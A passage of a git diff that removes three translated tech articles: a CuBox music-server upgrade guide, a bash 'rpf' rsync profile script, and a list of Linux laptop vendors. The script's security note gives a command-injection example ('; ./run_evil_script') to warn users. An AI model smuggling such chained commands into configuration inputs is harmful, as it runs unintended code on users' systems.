equipment shelf, makes minimal noise, and serves music files to my digital-to-analog converter (DAC) and thus to the rest of the stereo. On paper, the CuBox was a perfect fit. It is fanless, works with various Linux distros, provides a separate [eSATA interface][4] for a locally mounted hard drive and therefore leaves the USB ports free for other stuff, provides a [TOSLINK port][5] for digital audio, uses a [MicroSD card][6] (by default, anyway) for the system installation and boot drive, and comes with 2GB of RAM and a reasonably fast [i.MX6q quad-core processor][7], all in an unobtrusive 5x5x5cm black plastic box. - -And as luck would (sometimes) have it, those promises have mostly been kept. The box still runs and provides my family with a great deal of musical enjoyment. The attached hard drive contains about 275GB of music files—a bit over 7,500 FLAC files with some 300 or so MP3 files thrown in. - -As our home music server, the CuBox runs a barebones Linux server distro with Music Player Daemon ([MPD][8]) as the music-serving software, sending digital data to the DAC via the [ALSA][9] with no software mixing, up- or down-sampling, or volume control on the server. Lately, I've found it convenient to run [lighttpd][10], a lightweight, simple-to-configure HTTP server, to provide cover images to the various MPD clients that we run in the house. (But now MPD provides that capability, so that convenience may soon go away.) For the user interfaces to play music, we use [Cantata][11] on the desktop and [MPD Remote][12] (caution: it may not be open source) on our Android phones to browse, select, and play music. - -In 2017, I wrote about [my experiences using the CuBox][13]. I had tried [Voyage Linux][14], [Volumio][15], and [Archphile Linux][16], and had just moved to [Armbian][17], which at that time was based on Ubuntu 16.04 LTS (long term support). This fall, I decided it was time to upgrade the server, get the latest version of MPD, and deal with a few other bothersome details along the way. - -### The upgrade - -Given my generally great experience with Armbian, I decided to go there again for upgrade materials. There are two supported options: a Debian Buster-based server configuration and an Ubuntu 18.04 desktop configuration. Bearing in mind my desire to keep the system display-free and minimalist, I selected the Debian version. - -![Armbian versions][18] - -The download was trouble-free, and I soon had an install image in my Downloads folder. As before, I was impressed with the quality and "to the point" nature of the [Armbian documentation][19], which notes: - -> Images shall only be written with Etcher on all platforms since, unlike other tools, Etcher validates burning results **saving you from corrupted SD card contents**. - -This was my first experience using [Etcher][20], and I was duly impressed with its usability (yet another wonderful reason to use open source software). I inserted the resulting MicroSD card into the CuBox, connected the Ethernet cable, DAC, and eSATA drive, and powered it on. Soon, I could SSH into the CuBox to configure it. Talk about a painless experience! Here's what I see when I log into that machine using SSH: - -![CuBox login][21] - -In terms of configuration, I had the following objectives: - - * Finish the initial configuration - * Configure static IP addressing for the wired networking connection - * Get the installed system up to date - * Disable the wireless - * Install and configure MPD - * Install and configure lighttpd - * Listen to some music! - - - -I used the excellent [Armbian Config program][22] to carry out a bunch of these initial configuration tasks. - -![Armbian-Config screen][23] - -Choosing System presents this menu: - -![Armbian-Config settings][24] - -I used this to disable root login over SSH and enable password and public key authentication. - -In the Network subsystem, I set static IP addressing (to conform to my home router settings), and in the Personal subsystem, I changed the time zone and hostname. I probably could have used the Software subsystem to run the initial update, but I chose to exit to the shell and use apt to finish up this initial configuration with: - - -``` -sudo apt update -sudo apt upgrade -``` - -I also used apt to install MPD and lighttpd with: - - -``` -`sudo apt install mpd lighttpd` -``` - -I had my previous MPD configuration file (**/etc/mpd.conf**); generally, I prefer to use these types of older files as guides to configure a new one, rather than just plunking the old one on top of the new. In the end, there weren't many changes to make; here are the differences between the old and new files: - - -``` -clh@stereo:/etc$ diff mpd.conf.orig mpd.conf -85c85,86 -< bind_to_address               "localhost" -\--- -> #bind_to_address              "localhost" -> bind_to_address               "192.168.1.21" -241c242,249 -<       name            "My ALSA Device" -\--- ->       name            "Drop Airist R2R" ->       device          "hw:CARD=U20,DEV=0" ->       mixer_type      "none" ->       replay_gain_handler      "none" -> #     name            "Schit Bifrost 4490" -> #     device          "hw:CARD=S2,DEV=0" -> #     mixer_type      "none" -> #     replay_gain_handler      "none" -clh@stereo:/etc$ -``` - -You can see that I have two DACs (just because), and the second is commented out (and not connected). Also, I had to change **bind_to_address** so that MPD will listen over the local area network. - -As for lighttpd, I only had to change the **document-root**: - - -``` -clh@stereo:/etc/lighttpd$ diff lighttpd.conf.orig lighttpd.conf -8c8,13 -< server.document-root        = "/var/www/html" -\--- -> # Used this config documentation -> # -> # which wasn't good - wrong user name, didn't need to add -> # the mime config -> # in the end just changed the document root. -> -> server.document-root        = "/var/lib/mpd/music/" -clh@stereo:/etc/lighttpd$ -``` - -To get to the music files, I added the following line to **/etc/fstab**: - - -``` -`/dev/sda1 /mnt/eSATA ext4 rw 0 0` -``` - -and created the mount point with: - - -``` -`sudo mkdir /mnt/eSATA` -``` - -At this point, I mounted the external hard drive with: - - -``` -`sudo mount /dev/sda1` -``` - -Finally, I linked MPD's configuration directory to the music with: - - -``` -sudo rmdir /var/lib/mpd/music -sudo ln -s /mnt/eSATA/Music /var/lib/mpd/music -``` - -I used this approach because I'd rather not futz around with MPD's configuration more than I have to. - -It's a good idea to check that the music files are owned by the correct MPD user ID. Do this with: - - -``` -clh@stereo:~$ ls -ld /var/lib/mpd/music/* | head -drwxrwxrwx   5 mpd audio  4096 Jan 22  2017 /var/lib/mpd/music/Academy of St. Martin-in-the-Fields -drwxrwxrwx   3 mpd audio  4096 Jan 22  2017 /var/lib/mpd/music/Acantus -drwxrwxrwx   3 mpd audio  4096 Dec 13  2014 /var/lib/mpd/music/Afrikan_Sciences -drwxrwxrwx   5 mpd audio  4096 Sep 25  2016 /var/lib/mpd/music/Afro Celt Sound System -drwxrwxrwx   3 mpd audio  4096 Mar 11  2014 /var/lib/mpd/music/Agnes Obel -drwxrwxrwx   3 mpd audio  4096 Oct  9  2013 /var/lib/mpd/music/Alexander Malter, Dietmar Schwalke, Vladimir Spiakov, Sergej Bezrodny -drwxrwxrwx   3 mpd audio  4096 Oct  8  2013 /var/lib/mpd/music/Ali Farka Toure & Toumani Diabate -drwxrwxrwx   3 mpd audio  4096 Oct  8  2013 /var/lib/mpd/music/Ali Farka Touré with Ry Cooder -drwxrwxrwx   5 mpd audio  4096 Jan  1  2018 /var/lib/mpd/music/Amadou et Mariam -drwxrwxrwx   3 mpd audio  4096 Jul 11  2017 /var/lib/mpd/music/American Authors -clh@stereo:~$ -``` - -This looks fine (user ID **mpd**, group ID **audio**). - -Finally, to disable the wireless, I entered: - - -``` -`sudo nmcli radio wifi off` -``` - -And I'm done! Time for a reboot: - - -``` -`sudo systemctl reboot` -``` - -Once it rebooted, I used Cantata to force MPD to refresh its database. Here's what it looks like when that's done, and I'm listening to [Frameworks' latest album, _Imagine Gold_][25]: - -![Frameworks "Imagine Gold" in Cantata][26] - -Just to the left of the track listings, you can see the cover images that lighttpd serves. - -### And speaking of music - -I really do like Frameworks' latest album. It's quite similar to his previous work, and he always has the greatest hooks with very dance-able stuff and just that great bit of "yearning." It's nice to buy his stuff on Bandcamp, as usual (see link above, where you can also listen). - -Lately, I've also been buying stuff in that other great open source format, vinyl records. In particular, two fine recent albums from the [Erased Tapes][27] label, [Anne Müller's _Heliopause_][28], which is a beautiful record of her own solo cello and supporting instruments and sounds, "focusing on novel approaches to classical instrumentation," and [Penguin Cafe's _Handfuls of Night_][29], which "began life after Greenpeace commissioned [Arthur] Jeffes [of Penguin Cafe] to write four pieces of music corresponding to four breeds of penguins to help raise awareness for the endangered Antarctic seas." How could a Linux user not have music about penguins by Penguin Cafe? - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/upgrade-cubox-open-source-music-server - -作者:[Chris Hermansen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clhermansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_LIFE_music_520x292_0411_ma.png?itok=v_ARy1ZT (open source music with piano keys background) -[2]: https://en.wikipedia.org/wiki/ARM_architecture -[3]: https://www.solid-run.com/nxp-family/cubox-i/ -[4]: https://en.wikipedia.org/wiki/Serial_ATA -[5]: https://en.wikipedia.org/wiki/TOSLINK -[6]: https://www.makeuseof.com/tag/5-mistakes-avoid-buying-next-microsd-card/ -[7]: https://www.nxp.com/products/processors-and-microcontrollers/arm-processors/i.mx-applications-processors/i.mx-6-processors/i.mx-6quad-processors-high-performance-3d-graphics-hd-video-arm-cortex-a9-core:i.MX6Q?&cid=ps_PRG100148_CAM262037_EETECH&gclid=CjwKCAiA27LvBRB0EiwAPc8XWfLpyKIpi4OPNrPLdmXpSynIaDP0FG2jQ9PPZ1q49ENp1CbQU2fKxxoCKtMQAvD_BwE -[8]: https://www.musicpd.org/ -[9]: https://en.wikipedia.org/wiki/Advanced_Linux_Sound_Architecture -[10]: https://www.lighttpd.net/ -[11]: https://opensource.com/article/17/8/cantata-music-linux -[12]: https://play.google.com/store/apps/details?id=net.prezz.mpr&hl=en_CA -[13]: https://opensource.com/article/17/6/armbian-cubox-i4pro -[14]: https://wiki.debian.org/Derivatives/Census/VoyageLinux -[15]: https://volumio.org/ -[16]: https://archphile.org/ -[17]: https://www.armbian.com/ -[18]: https://opensource.com/sites/default/files/uploads/armbianversions.png (Armbian versions) -[19]: https://docs.armbian.com/ -[20]: https://www.etcher.io/ -[21]: https://opensource.com/sites/default/files/uploads/cuboxlogin.png (CuBox login) -[22]: https://docs.armbian.com/User-Guide_Armbian-Config/ -[23]: https://opensource.com/sites/default/files/uploads/armbian-config.png (Armbian-config screen) -[24]: https://opensource.com/sites/default/files/uploads/armbian-config_settings.png (Armbian-config settings) -[25]: https://frameworksuk.bandcamp.com/album/imagine-gold -[26]: https://opensource.com/sites/default/files/uploads/frameworks-imaginegold.png (Frameworks "Imagine Gold" in Cantata) -[27]: https://www.erasedtapes.com/ -[28]: https://www.erasedtapes.com/release/eratp128-anne-mueller-heliopause -[29]: https://www.erasedtapes.com/release/eratp127-penguin-cafe-handfuls-of-night diff --git a/sources/tech/20200113 Use this script to create, save, and run different rsync configurations via named profiles.md b/sources/tech/20200113 Use this script to create, save, and run different rsync configurations via named profiles.md deleted file mode 100644 index 3b4e5fc6e4..0000000000 --- a/sources/tech/20200113 Use this script to create, save, and run different rsync configurations via named profiles.md +++ /dev/null @@ -1,380 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Use this script to create, save, and run different rsync configurations via named profiles) -[#]: via: (https://opensource.com/article/20/1/create-save-run-rsync-configurations) -[#]: author: (Petr Beránek https://opensource.com/users/pberanek) - -Use this script to create, save, and run different rsync configurations via named profiles -====== -A quick explanation of the rpf script. -![Person drinking a hat drink at the computer][1] - -The **rpf** script allows you to create, save, and run different rsync configurations via named profiles. - -For example, create a new profile named **backup** by typing **rpf -c backup**. Assume that the username is **user**. - -**rpf** creates the following directories: - - * **/home/user/.rpf** - * **/home/user/.rpf/shared** where you can place config files shared by multiple profiles - * **/home/user/.rpf/profiles** where all profiles are saved as subdirectories - - - -**rpf** also created **/home/user/.rpf/profiles/backup** that contains the files **conf** and **excluded**. - -The **conf** file defines rsync's configuration: - - -``` -# rsync config template -# -# Write each rsync option on separate line. For option details see man rsync. -# Empty lines and lines starting with # are ignored. Dynamic references -# (e.g. using command substitution) are not supported. -# -# Config files shared between different profiles should be saved in -# /home/user/.rpf/shared -# -# Example configuration: -# -\--verbose -\--archive -\--human-readable -# exclude all files that match pattern in: -\--exclude-from=/home/user/.rpf/profiles/backup/exclude -\--relative -# perform trial run, make no changes -\--dry-run -# source, e.g. -/home/user -# destination, e.g. -/mnt/usb_drive/users_backup -``` - -Now you can edit, add, or remove rsync options as needed. - -In **exclude**, you can define paths or patterns of files and directories you want to exclude from the transfer. To exclude **Trash** and **Downloads**, add the following lines: - - -``` -\- /home/user/.local/share/Trash -\- /home/user/Downloads -``` - -Or to transfer only **Documents** and **Projects** and exclude everything else: - - -``` -\+ /home/user/Documents -\+ /home/user/Projects -\- ** -``` - -For subtler pattern configurations, see the FILTER RULES section of **man rsync**, or Google for tutorials. - -When you are ready, you can start rsync transfer by typing **rpf backup**. - -That's it. - -For additional **rpf** options, see **rpf --help**. - -### Security - -Please be aware that **rpf** is not secure against code injection in the **conf** file. Any additional code (e.g., **; ./run_evil_script**) will also be executed. Therefore, protect your **.rpf/** config directory from malicious users by implementing appropriate permissions. Moreover, exploiting this behavior can lead to unexpected side effects. - -### The script - - -``` -#!/usr/bin/env bash -# -# Simple rsync profiler -# -# Author: [petrberanek.mail@gmail.com][2] (Petr Beranek) -# -# For usage details type `rpf --help' -# - -set -o errexit -set -o nounset - -__name=$(basename "${0}") -__version="0.1" - -config_dir="${HOME}/.rpf" -profiles_dir="${config_dir}/profiles" -shared_dir="${config_dir}/shared" -help="\ -Usage: ${__name} [OPTION...] PROFILE_NAME - -${__name} is simple rsync profiler that stores your different rsync -configurations in named profiles. - -Options: -    -c, --create-profile PROFILE_NAME   create new profile (profile data -                            are stored in ${config_dir}/PROFILE_NAME). -                            Profile name can contain alphanumeric -                            characters only. -    -s, --show-profile-config PROFILE_NAME  show content of profile -                            configuration file (stored in -                            ${config_dir}/PROFILE_NAME) -    -l, --list-profiles     list all available profiles -    -h, --help              show this help - -Example: -    Create new profile by typing -    ${__name} -c PROFILE_NAME - -    edit its config files stored by default in -    ${profiles_dir}/PROFILE_NAME - -    and then run it by typing -    ${__name} PROFILE_NAME - -    That's it. - -${__name} comes with ABSOLUTELY NO WARRANTY. This is free software, -and you are welcome to redistribute it under certain conditions. See -the GNU General Public Licence for details. - -Email bug reports or enhancement requests to [petrberanek.mail@gmail.com][2]. -" - -create_profile() { -    # Create dir with given profile name and with default content. -    # -    # Arguments: $1 -- profile name -    # -    # Creates files: conf, exclude -    # -    # If dir with the same name already exists, exits with error. -    # - -    local profile_name="${1}" -    local profile_dir="${profiles_dir}/${profile_name}" - -    # create default rpf dirs if missing -    if [[ ! -d "${profiles_dir}" ]]; then -        echo "Creating ${profiles_dir}" -        mkdir --parents "${profiles_dir}" -    fi -    if [[ ! -d "${shared_dir}" ]]; then -        echo "Creating ${shared_dir}" -        mkdir --parents "${shared_dir}" -    fi - -    # don't overwrite existing profile -    if [[ -d "${profile_dir}" ]]; then -        echo "${__name}: error: profile already exists." -        exit 1 -    fi - -    echo "Creating ${profile_dir}" -    mkdir "${profile_dir}" - -    # create `conf' template -    local conf="${profile_dir}/conf" -    echo "Creating ${conf}" -    cat << EOF > "${conf}" -# rsync config template -# -# Write each rsync option on separate line. For details see man rsync. -# Empty lines and lines starting with # are ignored. Dynamic references -# (e.g. using command substitution) are not supported. -# -# Config files shared between different profiles should be saved in -# ${shared_dir} -# -# Example configuration: -# -\--verbose -\--archive -\--human-readable -# file with patterns of files and directories in source excluded -# from transfer -\--exclude-from="${profiles_dir}/${profile_name}/exclude" -\--relative -# perform trial run, make no changes -\--dry-run -# source, e.g. -${HOME} -# destination, e.g. -/mnt/usb_drive/my_backup -EOF - -    # create `exclude' template -    local exclude="${profile_dir}/exclude" -    echo "Creating ${exclude}" -    cat << EOF > "${exclude}" -# \\`exclude' template -# -# Lines starting with # or ; are ignored. For details see man rsync, -# section FILTER RULES. -# -EOF - -    # all done -    echo "OK" -    echo "Edit profile config files in ${profile_dir} to fit your needs." -} - -list_profiles() { -    # Show all available rpf profiles. -    # -    # Assumes that all dirs in $profiles_dir are profiles. -    # - -    for item in "${profiles_dir}"/*; do -        if [[ -d "${item}" ]]; then -            basename "${item}" -        fi -    done -} - -show_help() { echo "${help}"; } - -show_profile_config() { -    # Show configuration file for given profile. -    # -    # Arguments: $1 -- profile name -    # - -    local profile_name="${1}" -    less "${profiles_dir}/${profile_name}/conf" -} - -check_profile_name() { -    # Check that name is not empty and contains alphanumeric chars only. -    # -    # Arguments: $1 -- profile name -    # -    # If test fails, exits with error. -    # - -    if [[ -z "${1}" ]]; then -        echo "${__name}: error: empty profile name." -        exit 1 -    elif [[ "${1}" =~ [^a-zA-Z0-9] ]]; then -        echo "${__name}: error: non-alphanumeric characters in profile name." -        exit 1 -    fi -} - -check_profile_exists() { -    # Check that $profile_name exists and is a directory. -    # -    # Arguments: $1 -- profile name -    # -    # If test fails, exits with error. -    # - -    local profile_name="${1}" -    if [[ ! -d "${profiles_dir}/${profile_name}" ]]; then -        echo "${__name}: error: profile ${profile_name} does not exist." -        exit 1 -    fi -} - -check_num_args() { -    # Check that value of $1 = number of arguments (excluding $1) -    # -    # Arguments: $1 -- limit (positive int) -    # -    # If test fails, exits with error. -    # - -    local num_args=$(( ${#} - 1 ))  # do not count $1 in total num of args -    if [[ "${1}" -ne "${num_args}" ]]; then -        echo "${__name}: error: expected num args: ${1}, received: $num_args" -        exit 1 -    fi -} - -run_rsync() { -    # Run rsync with configuration coresponding to given profile name. -    # -    # Arguments: $1 -- profile name -    # - -    local profile_name="${1}" -    local visual_div="==============================" -    local parsed_args -    parsed_args=$(grep --invert-match '^#' "${profiles_dir}/${profile_name}/conf" \ -                    | tr '\n' ' ') - -    # Print debug info -    echo "${visual_div}" -    echo "${__name} version: ${__version}" -    echo "args: ${parsed_args}" -    echo "${visual_div}" - -    # Expand $parsed_args - each item from conf file becomes rsync argument -    # shellcheck disable=SC2086 -    rsync ${parsed_args} -} - -if [[ "${#}" == 0 ]]; then -    show_help -    exit 1 -fi -while [[ "${#}" -gt 0 ]]; do -    case "${1}" in -        -c | --create-profile) -            check_num_args 2 "${@}" -            shift -            check_profile_name "${1:-}" # If $1 is not declared, set it empty. -            create_profile "${1}" -            exit 0;; -        -s | --show-profile-config) -            check_num_args 2 "${@}" -            shift -            check_profile_name "${1:-}" -            check_profile_exists "${1}" -            show_profile_config "${1}" -            exit 0;; -        -l | --list-profiles) -            check_num_args 1 "${@}" -            list_profiles -            exit 0;; -        -h | --help) -            check_num_args 1 "${@}" -            show_help -            exit 0;; -        -*) -            echo "${__name}: error: unknown option \\`${1}'" -            exit 1;; -        *) -            check_num_args 1 "${@}" -            check_profile_name "${1:-}" -            check_profile_exists "${1}" -            run_rsync "${1}" -            exit 0;; -    esac -    shift -done -``` - -* * * - -This was originally published in [Petr Beranek's GitHub repository][3] and it is licensed under GPLv3. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/create-save-run-rsync-configurations - -作者:[Petr Beránek][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/pberanek -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hat drink at the computer) -[2]: mailto:petrberanek.mail@gmail.com -[3]: https://github.com/beranep/rpf diff --git a/sources/tech/20200114 16 Places to Buy a Pre-installed Linux Laptop Online.md b/sources/tech/20200114 16 Places to Buy a Pre-installed Linux Laptop Online.md deleted file mode 100644 index c57b44dfd3..0000000000 --- a/sources/tech/20200114 16 Places to Buy a Pre-installed Linux Laptop Online.md +++ /dev/null @@ -1,368 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (16 Places to Buy a Pre-installed Linux Laptop Online) -[#]: via: (https://www.2daygeek.com/buy-linux-laptops-computers-online/) -[#]: author: (Magesh Maruthamuthu https://www.2daygeek.com/author/magesh/) - -16 Places to Buy a Pre-installed Linux Laptop Online -====== - -Linux runs on most hardware these days, but most retailers do not have Linux operating systems pre-installed on their hardware. - -Gone are the days when users would only buy a Windows OS pre-installed laptop. - -Over the years, developers have purchased many Linux laptops as they work on major Linux applications related to Docker, Kubernetes, AI, cloud-native computing and machine learning. - -But now-a-days users are eager to buy a Linux laptop instead of Windows, which allows many vendors to choose Linux OS. - -### Why Pre-installed Linux? - -Now-a-days normal users also started using Linux OS because of its open source nature, security and reliability. - -But most of the retailers around the world do not sell Linux operating system pre-installed. - -It is difficult for Linux aspirants to find the compatible hardware and drivers to get Linux OS installed. - -So, we recommend to have Linux OS pre-installed computers instead of figuring out compatibility issues. - -Here we list the top 16 (not in particular order) manufacturer/vendor best known for preloaded Linux OS computers. - -### 1) Dell - -Dell is a US multinational computer technology company that commenced to sell and distribute pre-installed Ubuntu Linux computers for several years now. - -Initially it was started on 2012 as a community project called Sputnik. - -The strong community support to the project became a product. Over the year they launched the first Dell XPS 13 Developer Edition (Sputnik 3) after fixing some major issues in Sputnik 1 and Sputnik 2. - -[![][1]][2] - -They sells Red hat Enterprise Linux and Ubuntu Linux-based laptop for business use, developers and sysadmins. - -All systems are preloaded with Ubuntu but few of them were certified to install Red Hat Enterprise Linux 7.5 and RHEL 8. - -I hope you can install other distro as well if you want to run but i didn’t try it. - -The signature Linux products of Dell are **[XPS developer edition][3]**, **[Precision mobile workstation][4]** and Precision tower workstation. - - * **Availability:** Worldwide - * **Product Details:** [Dell Linux Systems][5] - - - -### 2) System 76 - -**[System76][6]** is an American computer manufacturer based in Denver, Colorado specializing in the sale of notebooks, desktops, and servers. - -From the year 2003, Sytem76 started to computers with the Linux operating system installed. - -They developed Linux distribution named Pop!_OS based on Ubuntu using the GNOME Desktop Environment for developers and professionals. - -[![][1]][7] - -The products are categorized majorly based on portability, storage, graphics and CPU performance. - -Lower laptop model Galago Pro is costing around $950 and higher models such as Adder WS and Serval WS are costing around $2000. - -They provide Destops(Thelio variants) in range of $800 to $2600. - -They also sell mini servers(Meerkat) ranges from $500 and Larger Servers(Jackal, Ibex and Starling) with preloaded Ubuntu ranges from $3000. - -They provide the laptop with the coreboot open source firmware, which is an alternative to the proprietary BIOS firmware. - -System76 ships their products to 60 countries all around the world in Africa, Europe, Asia, North America, South America, Australia and Zealandia. - - * **Availability:** To 60 countries worldwide - * **Product Details:** [System76][8] - - - -### 3) Purism - -Purism is a US-based company that commenced its operation in 2014. - -It manufactures the Librem personal computing devices with a focus on software freedom, computer security, and Internet privacy. - -[![][1]][9] - -Purism sell their products with PureOS installed, a Linux distribution based on Debain developed by purism. - -They sell multiple customized products such as Laptops, Tablets, Smartphones, Server and Librem key. - - * **Availability:** Worldwide - * **Product Details:** [Purism][10] - - - -### 4) Slimbook - -**[Slimbook][11]** commenced their operation in 2015 based in spain. - -It is a Linux friendly product that offers Laptops, Desktops, Mini Pc’s,All in one PC’s and Servers. - -[![][1]][12] - -It sell their products with with preloaded variety of Linux distributions, windows or both. - -They were the first to sell KDE OS installed. It is ideal for Linux beginners, since it is easy to use and easy to learn. - -The Laptop body is made of metal alloy based on aluminum and magnesium. - - * **Availability:** Worldwide - * **Product Details:** [Slimbook][13] - - - -### 5) Tuxedo Computers - -Tuxedo computers a german based company sells notebooks, desktops and mini computers with preloaded Linux. - -Their products desktop cost starts from around 480EUR, mini computers starts from 430EUR and notebooks starts from around 815EUR. - -They have both intel and AMD processors and come up with 5 years warranty and lifetime support. - -TUXEDO Computers are individually built computers and PCs being fully Linux-suitable. They sell their products to most part of Europe and USA. - - * **Availability:** Ships to many countries - * **Product Details:** [Tuxedo Computers][14] - - - -### 6) ThinkPenguin - -ThinkPengine is a US based company started their operation in 2008 to improve support for GNU/Linux and other free software operating systems. - -They sell desktops, notebooks, network equipment, storage devices, printers, scanners and other accessories that are compatible with Linux. - -They provide warranty from 90days to 3years based on the products. - - * **Availability:** Worldwide - * **Product Details:** [ThinkPenguin][15] - - - -### 7) Emperor Linux - -EmperorLinux is a US based company,since 1999 they provides Linux laptops with full hardware support under Linux. - -They offers Linux laptops with unique features such as Molecule RD3D using Sharp’s ground-breaking Auto-Stereo 3D display, Panasonic’s ToughBook line of rugged & semi-rugged Linux laptops. - -They also sell fully-functional Linux tablets, the Raven tablet (based on the ThinkPad X series). - - * **Availability:** USA (International shipping is available upon request). - * **Product Details:** [Emperor Linux][16] - - - -### 8) ZaReason - -ZaReason opened for business in the year 2007 based in US. - -They mainly focuses on R&D labs, businesses both small and large, universities and people’s homes. - -It has a long career building hardware for different distros such as Debian, Fedora, Ubuntu, Kubuntu, Edubuntu and Linux Mint Preloaded. - -[![][1]][17] - -And customer can even choose Linux disros of their choose other than specified. - -Their laptop ranges from $999 to $1699. Their desktop and mini computers ranges from $499 to $1199. - -They do sell desktop specific for game lovers (Gamebox9400). - -Default warranty will be for a year. Additional cost includes for extending the warranty till 3 years. - - * **Availability:** USA and Canada - * **Product Details:** [ZaReason][18] - - - -### 9) LAC Portland - -LAC(Los Alamos Computers) Portland is a US based company, provides Linux-based computers configured and supported by GNU and Linux professionals since 2000. - -They sell Lenovo desktops(ThinkCentre and ThinkStation) ranges from $845 to $2215 and laptops(ThinkPad) ranges from $926 to $2380. - -They install and sell Linux distors such as Ubuntu, Linux Mint, Debain, Fedora, CentOS, Scientific Linux, Open SUSE and Free DOS. - -They provide five years hardware and labor warranty with on-site support options backed worldwide by Lenovo. - - * **Availability:** USA - * **Product Details:** [LAC Portland][19] - - - -### 10) Entroware - -Entroware is a UK based company specialized in providing Ubuntu based computing solutions and services since early 2014 based on customers requirements. - -They sell Ubuntu and Ubuntu MATE powered Desktops, Laptops, and Servers using modern and high quality components. - -[![][1]][20] - -They do sell mini computers and All-in-one computers. - -Desktop ranges from $499 to $1900, laptops ranges from $740 to $1900 and server ranges from $1150 to $2000. - -They also sell accessories such as OS recovery drive, external hard drive, etc. - -The default warranty is for 3 years, they have three warranty plans for which additional may include. They also provide software support. - -Entroware currently ships to UK, Republic of Ireland, France, Germany, Italy and Spain. - - * **Availability:** UK and other European countries (Republic of Ireland, France, Germany, Italy and Spain). - * **Product Details:** [Entroware][21] - - - -### 11) Vikings - -Viking is based in Germany, sells Libre-friendly hardware certified by the Free Software Foundation with preinstalled Debian, Trisquel or Parabola Linux based on customer requirement. - -They sell desktops, laptops, servers, routers, mainboards, key generators, PCI cards and usb sound adaptors compatible with Linux. - -The Linux laptops and desktops by Vikings come with core boot or Libreboot. - -Their desktop ranges from 895EUR, laptop ranges from 250EUR and servers ranges from 990EUR. - -They provide refurbished/used parts: mainboard, CPU(s) with rigorous testing of all parts and also gives a comprehensive guarantee for all parts of the system. - -Their product warranty varies from 1year to 3year, with subsequent additional charges. - -They ship to all part of the world with very few exceptions such as North Korea. - - * **Availability:** Worldwide - * **Product Details:** [Viking][22] - - - -### 12) Juno Computers - -Juno Computers is company based in UK comes with pre-installed elementary OS or Ubuntu. - -They provide an application known as Kronos which allows for quick and easy installation of commercial applications such as Chrome, Dropbox, Spotify, Skype, etc. - -Their laptop ranges from $945/357EUR to $999/933EUR and mini PC ranges around $549/490EUR. - -They provide a 1-year limited warranty on all manufacture problems. - -Currently they ship to mainland USA, some Canadian provinces, and most part of the world includes South Africa, Asia and Europe. - - * **Availability:** Worldwide - * **Product Details:** [Juno Computers][23] - - - -### 13) Pine64 - -Pine64 is a US based community platform that offers laptops (**[Pinebooks][24]**), Pine Phones, Pine Watches(PineTime), Single board computers and other compatible Linux accessories. - -It commenced its operation in the year 2016 powered by ARM devices. - -[![][1]][25] - -The laptops ranges from $100 to $200. - -All single board and accessories sold on the Pine store are entitled to a 30 days Limited Warranty against defects in materials and workmanship, but provide online support through their forum. - -They almost ship to most part of the country, refer site shipping policy for more details. - - * **Availability:** Worldwide - * **Product Details:** [Pine64][26] - - - -### 14) Libiquity - -Libiquity is a US based company with R&D investments and its own personal computer brand since 2011. - -They offer laptop(Taurinus X200) preloaded with Trisquel and comes with ProteanOS, a free/libre and open source embedded operating system distribution endorsed by Free Software Foundation. - -Laptop ranges starts from $375. Product comes with limited warrant of 1 year. Currently their shipping are limited to US. - - * **Availability:** US - * **Product Details:** [Libiquity][27] - - - -### 15) LinuxCertified - -LinuxCertified an US based company offers lenovo desktops and laptops with Linux distros preinstalled. - -Various preloaded Linux distros offered are Ubuntu, Fedora, Open SUSE, CentOS, Redhat Enterprise Linux and Oracle Enterprise Linux. - -Desktops(ThinkStation) ranges from $899 to $2199 and laptops(Z1, LC series) ranges from $899 to $2199. - -Product warranty is for one year. They ship their product within US. - - * **Availability:** Worldwide - * **Product Details:** [LinuxCertified][28] - - - -### 16) Star Labs - -**[Star Labs][29]** was created by a group of Linux users, who created the ultimate Linux laptop for their own use. - -It’s based in the United Kingdom which sells laptops with Linux pre-installed. - -[![][1]][30] - -Star Labs offer a range of laptops designed and built specifically for Linux. - -All of their laptops come with a choice of Ubuntu Linux, Linux Mint or Zorin OS pre-installed. - -It is not limited to the above three distributions, and you can install any Linux distros on their hardware, and it runs flawlessly. - - * **Availability:** Worldwide - * **Product Details:** [Star Labs][31] - - - --------------------------------------------------------------------------------- - -via: https://www.2daygeek.com/buy-linux-laptops-computers-online/ - -作者:[Magesh Maruthamuthu][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.2daygeek.com/author/magesh/ -[b]: https://github.com/lujun9972 -[1]: data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7 -[2]: https://www.2daygeek.com/wp-content/uploads/2020/01/dell-xps-13-developer-deition-2.png -[3]: https://www.linuxtechnews.com/dells-new-xps-13-developer-edition-is-powered-by-the-10th-generation/ -[4]: https://www.linuxtechnews.com/dell-launches-three-new-dell-precision-developer-editions-laptops-preloaded-with-ubuntu-linux/ -[5]: https://www.dell.com/en-us/work/shop/overview/cp/linuxsystems -[6]: https://www.linuxtechnews.com/system76-has-announced-new-gazelle-laptops/ -[7]: https://www.2daygeek.com/wp-content/uploads/2020/01/system76-1.jpg -[8]: https://system76.com/laptops 